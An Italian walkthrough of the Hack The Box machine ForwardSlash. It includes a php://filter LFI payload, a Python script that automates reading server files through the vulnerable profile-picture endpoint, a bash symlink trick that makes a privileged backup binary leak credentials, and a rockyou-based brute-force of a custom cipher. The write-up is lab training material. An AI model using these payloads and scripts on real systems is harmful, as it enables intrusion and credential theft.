NMAP

Come al solito avvio la scansione delle porte con nmap:

scansione nmap

Dalla scansione risultano aperte esclusivamente le porte 80 e 22. Faccio un giro sulla porta 80, ah, il sito è raggiungibile dopo aver aggiunto forwardslash.htb in /etc/hosts

10.10.10.183 forwardslash.htb

A quanto pare il sito ha subito un attacco:

defaced

Decido di enumerare un po’ i file e le directory con gobuster, trovo un file che si chiama note.txt:

note.txt

La nota è lasciata da un utente che si chiama chiv e quanto pare esiste un backup del sito da qualche parte. Continuo a enumerare con gobuster ma non c’è segno della presenza di questo backup. Provo ad aggiungere un sottodominio al mio file /etc/hosts:

10.10.10.183 backup.forwardslash.htb

Funziona, vedo un pannello di login:

backup login

LFI

Creo un account con delle credenziali a piacimento ed accedo. Dando un’occhiata all’applicazione c’è una funzione di cambio immagine del profilo che come input vuole un url:

funzioni sito
url cambio img profilo

Il form è disabilitato ma si può abilitare semplicemente modificando il codice della pagina con l’inspector di firefox:

togliere disabled dal codice html

Facendo un po’ di tentativi è chiaro che il cambio di immagine del profilo è vulnerabile a LFI e RFI.

Avvio gobuster sul dominio backup per vedere se il sito corrente ha qualche file interessante, trovo i seguenti file:

gobuster backup

Faccio vari tentativi di lettura del file config.php, riesco a leggerlo col seguente payload:

php://filter/convert.base64-encode/resurce=config.php

lettura file config.php in base64

In questo modo il contenuto del file è convertito in base64 e non è elaborato come codice php dal server nel momento in cui cerco di leggerlo sfruttando la LFI.

Converto la string in plaintext ed ottengo il codice php:

decode base64 di config.php

Riesco a leggere la password di connessione al database che però risulta essere inutile.

Gobuster mostrava una cartella dev, decido di provare a leggere il file index al suo interno, se c’è. Nel frattempo mi sono creato uno script in python per agevolare questo processo:

#!/usr/bin/python3

import requests
import sys
import json
import base64

# forwardslash LFI Script by TheJ0k3r

url = 'http://backup.forwardslash.htb/profilepicture.php'

f = sys.argv[1]

headers = '{"Cookie":"PHPSESSID=mfj6mhco1p2gq9rvbhutnk9k8g", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Content-Type":"application/x-www-form-urlencoded", "User-Agent":"fava"}'

php = "php://filter/convert.base64-encode/resource=" + f
payload = '{"url":"' + php +'"}'


res = requests.post(url, data=json.loads(payload), headers=json.loads(headers))
html = res.text

b64 = html.split('</html>')[1]

text = base64.b64decode(b64)

print('')
print('[+] Content of the file' + f  + ':')
print('')
print(text.decode('utf-8'))
contenuto di dev/index.php

All’interno del file dev/index.php sono presenti delle credenziali ftp dell’utente chiv. Provo ad usarle su ssh:

ssh chiv

LATERAL MOVEMENT

Riesco ad accedere ma non è presente la flag user. La box ha anche l’utente pain, decido di enumerare tutto ciò che appartiene a questo utente. All’interno della cartella /var/backups trovo un file config.php.bak che appartiene proprio a pain:

config.php.bak

Con l’utenza di chiv non ho i permessi per leggere quel file, continuo a enumerare.

All’interno di /usr/bin trovo un binario chiamato backup che appartiene sempre a pain, decido di approfondire e provo a lanciarlo:

esecuzione file backup

Cerco di capire come funziona il file, sembra che stia cercando il file 36229a[…] ma che non riesca a trovarlo. Dopo alcuni tentativi mi rendo conto che il nome del file non è altro che l’orario visualizzato convertito in md5. Analizzo il file con ltrace:

time md5
ltrace

Qui arriva la parte CTF della box. Ho fatto numerosi tentativi finché non sono riuscito a capire che creando un symlink con nome md5 dell’ora corrente al file config.php.bak trovato in precedenza riesco a leggere il contenuto del file:

#!/bin/bash

TEMPO=$(date +"%H:%M:%S")
echo "$TEMPO"
MD5=$(echo -n "$TEMPO" | md5sum)
fava=$(echo "$MD5" |cut -d" " -f1)

ln -s /var/backups/config.php.bak "$fava"

/usr/bin/backup

Dal momento che backup è eseguito nel contesto di pain, è importante lanciare lo script bash da una posizione accessibile da pain, altrimenti il collegamento creato non potrà essere letto da backup.

config.php.bak

PRIVILEGE ESCALATION

Nel file sono presenti le credenziali di pain per connettersi al database, provo ad usarle con ssh.

user flag

Con l’utente pain la prima cosa che faccio è sudo -l, che mi restituisce:

sudo -l

Sono presenti alcuni comandi che permettono di montare un backup. Faccio mente locale e ricordo di aver notato una cartella sospetta all’interno di /var/backups:

cartella recovery

All’interno della cartella recovery è presente un backup cifrato.

Dentro alla home di pain c’è un messaggio cifrato con uno script in python in cui è stata eliminata la chiave di cifratura per poterlo decifrare. A questo punto, magari serve a qualcosa, ho cercato di rimandarlo fino ad ora xD.

Utilizzando rockyou.txt e il seguente script python è possibile risalire alla chiave originale:

#!/usr/bin/python2

from functools import partial
import multiprocessing
from tqdm import tqdm

def decrypt(msg, key):
  key = list(key)
  msg = list(msg)
  for char_key in reversed(key):
    for i in reversed(range(len(msg))):
      if i == 0:
        tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
      else:
        tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
      while tmp < 0:
        tmp += 256
      msg[i] = chr(tmp)
  return (''.join(msg), ''.join(key))

with open("./ciphertext", "rb") as f:
  ciphertext = f.read()
with open("/usr/local/share/wordlists/rockyou.txt") as f:
  passwords = [ p.rstrip() for p in f.readlines() ]

pbar = tqdm(total=len(passwords))

with open("passwords.txt", "w") as f:
  pool = multiprocessing.Pool(64)
  func = partial(decrypt, ciphertext)
  for result in pool.imap(func, passwords):
    pbar.update(1)
    if "you liked my new encryption tool, pretty secure huh, anyway here is the key to the encrypted image from /var/backups/recovery:" in result[0]:
      f.write(result[1] + "\n")

Ringrazio @davidlightman1983 per avermi fornito lo script con il riferimento alla stringa ed avermi così evitato di perdere tempi a scorrere milioni di print sul terminale (nonsense :/).

key

Il messaggio decifrato è il seguente:

you liked my new encryption tool, pretty secure huh, anyway here is the key to the encrypted image from /var/backups/recovery: cB!6%sdH8Lj^@Y*$C2cf

A questo punto non resta che decifrare il backup precedente:

luksOpen

Monto il backup e guardo cosa c’è al suo interno:

rsa private key

Con la chiave appena trovata mi connetto a ssh, presumibilmente come root:

root flag